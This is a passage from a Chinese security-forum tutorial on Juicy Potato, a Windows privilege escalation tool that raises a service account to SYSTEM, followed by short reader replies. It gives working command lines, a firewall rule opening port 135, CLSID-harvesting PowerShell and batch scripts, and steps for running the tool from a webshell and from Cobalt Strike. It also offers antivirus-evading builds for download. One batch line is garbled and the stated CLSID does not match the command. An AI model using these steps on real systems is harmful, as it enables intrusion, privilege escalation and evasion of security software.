用户
搜索
  • TA的每日心情

    7 天前
  • 签到天数: 57 天

    连续签到: 1 天

    [LV.5]常住居民I

    超级版主

    培训/授权项目Q547006660

    Rank: 8Rank: 8

    52

    主题

    187

    帖子

    6160

    魔法币
    收听
    0
    粉丝
    52
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手白帽传说

    J0o1ey 超级版主 培训/授权项目Q547006660 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 6 天前 131638

    0X00-Juicy-Potato简介

    Juicy Potato江湖人称烂土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基础上做了扩展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM***)

    追根到底是一款Windows的本地提权工具,利用了COM对象进行提权,相比RottenPotatoNG适用范围更加广泛(正如作者所说with a bit of juice)

    使用Juicy Potato这款提权工具的前提是获得了SeImpersonate或者SeAssignPrimaryToken权限,因此带有一定的局限性,对权限有一定要求,并非万能神器

    Juicy Potato的项目官网如下:

    https://github.com/ohpe/juicy-potato

    这款提权工具其实早在18年末就有人开发出来了,但是吧,依然没有进入到很多人的视野中,今天写这篇文章也是站在很多大佬的肩膀上进行总结与开新枝,如有错误,希望大家能及时斧正

    img

    0x01-Juicy-potato项目功能点

    ①Target CLSID

    选择你想要的任何CLSID。

    目前作者的官方github项目中已经给出了windows版本的CLSID列表。

    ②COM Listening port

    设置你需要的COM侦听端口

    ③COM Listening IP address

    设置COM组件监听的目标ip

    ④Process creation mode

    取决于模拟用户的权限,有以下三个选择:

    CreateProcessWithToken (需要SeImpersonate权限)

    CreateProcessAsUser (需要SeAssignPrimaryToken权限)

    both(综合以上两种)

    ⑤Process to launch

    如果JuIcy potato利用成功,则启动可执行文件或脚本

    ⑥Process Argument

    自定义已启动的进程参数

    ⑦与远程RPC服务器交互

    0x02-Juicy-Potato局限性

    ①当前用户必须具有以下权限中的一种,或者两种同时具备

    SeImpersonate权限

    SeAssignPrimaryToken权限

    以下用户具有该权限:

    · 本地管理员组成员和本地服务帐户

    · 由服务控制管理器启动的服务

    · COM基础结构启动的并配置为在特定帐户下运行的COM服务器

    针对提权的话,主要是第三类用户

    常见的为LocalService用户,例如IIS和者sqlserver的用户

    ②开启DCOM,并能找到可用的COM对象

    ③开启RPC

    0x03-原理(来自3g大佬)

    · LocalService用户默认具有SeImpersonate和SeAssignPrimaryToken权限

    · 开启SeImpersonate权限后,能够在调用CreateProcessWithToken时,传入新的Token创建新的进程

    · 开启SeAssignPrimaryToken权限后,能够在调用CreateProcessAsUser时,传入新的Token创建新的进程

    Juicy Potato的实现流程如下:

    1、加载COM,发出请求,权限为System

    在指定ip和端口的位置尝试加载一个COM对象。

    RottenPotatoNG使用的COM对象为BITS,CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

    可供选择的COM对象不唯一,Juicy Potato提供了多个,详细列表可参考如下地址:

    https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    2、回应步骤1的请求,发起NTLM认证

    正常情况下,由于权限不足,当前权限不是System,无法认证成功。

    3、针对本地端口,同样发起NTLM认证,权限为当前用户

    由于权限为当前用户,所以NTLM认证能够成功完成。

    RottenPotatoNG使用的135端口。

    Juicy Potato支持指定任意本地端口,但是RPC一般默认为135端口,很少被修改。

    4、分别拦截两个NTLM认证的数据包,替换数据,通过NTLM重放使得步骤1(权限为System)的NTLM认证通过,获得System权限的Token

    重放时需要注意NTLM认证的NTLM Server Challenge不同,需要修正。

    5、利用System权限的Token创建新进程

    如果开启SeImpersonate权限,调用CreateProcessWithToken,传入System权限的Token,创建的进程为System权限。

    如果开启SeAssignPrimaryToken权限,调用CreateProcessAsUser,传入System权限的Token,创建的进程为System权限

    0x04-在命令行中使用

    D:\>JuicyPotato.exe
    JuicyPotato v0.1
    
    Mandatory args:
    -t createprocess调用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
    -p <program>: 运行指定程序
    -l <port>: COM服务器侦听端口
    
    Optional args:
    -m <ip>: COM服务器侦听地址 (默认 127.0.0.1)
    -a <argument>: 传递给程序命令行参数 (默认 NULL)
    -k <ip>: RPC服务器IP地址 (默认 127.0.0.1)
    -n <port>: RPC服务器侦听端口 (默认 135)
    -c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
    -z 仅测试CLSID并打印令牌的用户

    1、查看当前用户权限,是否符合要求

    whoami /priv

    如果开启SeImpersonate权限,juicypotato的参数可以使用-t t

    如果开启SeAssignPrimaryToken权限,juicypotato的参数可以使用-t u

    如果均开启,可以选择-t *

    如果均未开启,那么无法提权。

    8LJkcQ.png

    2、查看RPC默认端口是否为135

    如果被修改(例如为111),juicypotato的参数可以使用-n 111指定RPC端口

    如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:

    找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k <ip>

    Windows默认配置下,允许135端口的入站规则即可进行远程RPC登录。

    添加防火墙规则允许135端口入站的命令如下:

    netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow

    3、选择可用的CLSID

    参考列表

    https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

    根据你的系统类型选择CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

    然后-c指定即可

    8LYGRS.png

    相关系统使用的CLSID文末都给大家打包了

    4、选择一个系统未占用的端口作为监听端口

    -l参数指定即可

    例如,最终参数如下:

    JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

    即使用SeImpersonate权限创建进程,监听端口1111,使用的CLSID为{8BC3F05E-D86B-11D0-A075-00C04FB68820}来进行提权

    5.执行效果

    8Lh9U0.png

    0x05-在Webshell中使用JuicyPotato

    webshell中使用Juicy-Potato的提权的话

    Juicy potato需要进行一些特殊处理,使其直接返回结果

    实现起来比较简单,在我文章后附有文件JuicyPotato-webshell.exe

    其默认使用的CLSID为{4991d34b-80a1-4291-83b6-3328366b9097}

    直接执行JuicyPotato-webshell.exe -p "whoami"

    或者JuicyPotato-webshell.exe -p "whoami" -c {XXXXX}即可

    执行效果如图

    8LX2dO.png

    0x06-在命令行中批量提取当前系统的CLSID

    官方给出的code如下

    <#
    This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
    Then exports to CSV
    #>
    
    $ErrorActionPreference = "Stop"
    
    # Importing some requirements
    . .\utils\Join-Object.ps1
    
    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
    
    $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
    
    $APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}
    
    $RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight  | Sort-Object LocalService
    
    # Preparing to Output
    $OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
    $TARGET = $OS -Replace " ","_"
    
    # Make target folder
    New-Item -ItemType Directory -Force -Path .\$TARGET
    
    # Output in a CSV
    $RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation
    
    # Export CLSIDs list
    $RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii
    
    # Visual Table
    $RESULT | ogv

    部分系统中是无法正常提取的,会报错

    在此贴上修复的powershell提取脚本

    New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
    $CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
    foreach($a in $CLSID)
    {
        Write-Host $a.CLSID
    }

    直接执行Powershell -ep bypass -f get-clid-2012.ps1即可

    效果如图

    8OSa8g.png

    0x07-在目标机批量验证CLSID提权可用性

    官方给出的批处理脚本经过测试后,问题非常多,本人做了一下修改

    code如下--juicypotato.bat

    home.php?mod=space&uid=46675 off
    :: Starting port, you can change it
    set /a port=10000
    SETLOCAL ENABLEDELAYEDEXPANSION
    
    FOR /F %%i IN (CLSID.list) DO (
       echo %%i !port!
       juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
       set RET=!ERRORLEVEL!
       :: echo !RET!
       if "!RET!" == "1"  set /a port=port+1
    )

    执行后在同目录下生成一个result.log文件

    记录测试不同CLSID使用烂土豆提权的结果

    效果如图所示

    8O9p6J.png

    随后根据log的相关输出,选择合适的CLSID进行权限提升即可

    0x08-在Cobaltstrike中使用Juicypotato提权

    在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式执行Juicypotato实现权限提升

    但是缺陷比较明显,只能使用默认的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})进行提权,如果想使用其他CLSID请参考命令行等执行方法

    下载并解压reflectiveJuicyPotato.zip,在Cobaltstike中选择脚本管理器-->load加载juicypotato.cna脚本

    随后我们在提权模块即可发现多了一个JuicyPotato

    8OEXz6.png

    点击开始后,提权效果如图

    8OZc3q.png

    权限提升至NT AUTHORITY\SYSTEM

    0X09福利/实验资源下载

    本次实验环境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批处理文件,Cobaltstrike脚本都已经给大家集成好了

    听说JuicyPotato已经加入豪华全家桶系列?没事,咱有免杀版本

    懂C的人也可以自己修改一下源代码,很好过杀软的

    全部的脚本及程序文末回复后即可下载

    如果没有魔法币,可以签到获取

    0X10 Reference

    https://github.com/ohpe/juicy-potato/tree/master/CLSID/

    https://github.com/ohpe/juicy-potato

    https://3gstudent.github.io



    本次实验所有程序脚本下载链接
    游客,如果您要查看本帖隐藏内容请回复

    评分

    参与人数 2魔法币 +10 收起 理由
    Devil丶 + 5 请勿灌水,提高回帖质量将帮助论坛越来越好.
    魔帝 + 5 请勿灌水,提高回帖质量将帮助论坛越来越好.

    查看全部评分

    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660|交流群820783253|团队首页www.gcowsec.com|
    大佬看看隐藏
    使用道具 举报 回复
    感谢分享   
    使用道具 举报 回复
    看看大佬的隐藏,部门图片显示不正常。
    使用道具 举报 回复
    谢谢分享
    使用道具 举报 回复
    1111111111111111111111111111111111
    使用道具 举报 回复
    发表于 5 天前
    谢谢大佬的分享
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    大佬太强了
    使用道具 举报 回复
    这个不错啊 有点厉害了啊  分析的很到位
    使用道具 举报 回复
    黑客之术
    使用道具 举报 回复
    学习下大佬的提权姿势
    使用道具 举报 回复
    xiexiedalao
    使用道具 举报 回复
    感谢分享   
    使用道具 举报 回复
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册